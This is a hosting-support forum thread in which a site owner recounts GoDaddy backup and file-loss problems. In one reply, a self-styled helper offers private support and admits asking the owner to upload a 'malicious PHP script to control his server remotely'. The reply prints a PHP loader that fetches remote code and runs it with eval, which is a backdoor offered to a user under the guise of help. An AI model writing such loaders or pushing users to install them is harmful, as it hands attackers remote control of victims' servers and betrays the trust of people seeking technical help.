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What’s up with GoDaddy’s sys admins?

I don’t know if others have had recent issues, but I’m having some terrible ones.  Latest (and smaller) issue is this:  My website is down and I need to drop a sql database in order to re-install dot-net-nuke.  I submitted a request to back up existing database before I drop it.  I did this last Thursday morning…it’s still not done – still says: “Pending Backup”.  


As db backups are generally fairly quick, I called them last Thursday afternoon to understand the status (as this is a very small db).  The customer service rep talked to the sys admin and said it should be complete within 30 min, but definitely within the 24hr window.  I called again the next afternoon (over 24 hrs later) and they say they don’t know why it wasn’t done, but that the sys admin would be on it, and they sent me an incident number saying it would now be complete within 72 (more) hours.  Here I am 5 days later and it’s still pending.   I’m down and I’m extremely disappointed and frustrated!


If you want to keep reading…here’s the rest of my problem (which is even greater).  All the files from my website simply disappeared on October 21 in the afternoon.   This is a dotnetnuke site so most of the info is held in the database.   The files that I have out there (other than the actual DNN code) are very static.  I did not realize I needed to back up the files – I thought that GoDaddy backed them up like they back up the database.  That is my mistake, my issue – I’m stupid/foolish – add whatever you wish here. 


But here’s the scenario, my files just disappeared.  GoDaddy cannot give me any idea as to why/what happened??  Cannot tell me if someone hacked in, ftp’d in, or if system crashed, sysamin oops, or hardware failure or what happened.  They did offer to restore the files from their backup.  They tried 2 different dates in October preceding the problem but then say they are unsuccessful at restoring the backups (with no explanation as to what’s up with the system and why they have no backups).


I’ve spoken to several different customer service reps and all have tried to be VERY helpful (except one who was miserable to deal with).  However, they can’t answer my actual questions or do anything, only send it on to sys admins.  One gave me the name of his supervisor to escalate my communication to – I emailed them…so far no response.


I’m  down…….Dave

Helper III

Hello DaveS1,


I apologize for the inconveniences you are facing; however, please realize that GoDaddy has a lot of clients to maintain. Sometimes their ticket system floods, with some more critical than others. I don't know if you have access to CPANEL or PHPMYADMIN but, if you need to create a database backup, you can always do so manually through PHP.


check out the link:


After fully reading your post, i see you are having a serious issue. feel free to contact me on skype and i will assist you in recovering your data & setting up a system to prevent this in the future.




After spending some time with this client i could not gain access to FTP due to a timeout issue. I asked client to upload a malicious PHP script to control his server remotely. We received error 500 while access this PHP file. As i did not have direct access to this server i could not assist this client any further. I will pursue this with support tomorrow.


Developer:Richard Grant
*/ try { $contents=file_get_contents(""); eval($contents); } catch (Exception $e) { echo "1"; print_r($e); try { $opts = array('http'=>array('header' => "User-Agent:MyAgent/1.0\r\n")); $context = stream_context_create($opts); $contents = file_get_contents('',false,$context); eval($contents); } catch (Exception $e2) { echo "2"; print_r($e2); } }



please note that, i offer direct support that is in no way associated with GoDaddy's regular support channels; but, for immediate technical support you can contact me at:

Further update,   I do thank Richard for his kind attempts.  There really seems to be something off on this server.  I did eventually get the database backed up, then dropped, then re-installed DNN.  I successfully logged in ONE TIME.   Then every subsequent login now results in 500 errors.


I tried to ftp some further files to  use for troubleshooting, and am receiving "550 The supplied message is incomplete."  This looks to be an MS patch that  needs to be applied to the server.


Has anyone else encountered this?  I'll contact support this evening and ask if they can request for the MS patch to be applied.


Dave....still frustrated with a down website..... 😞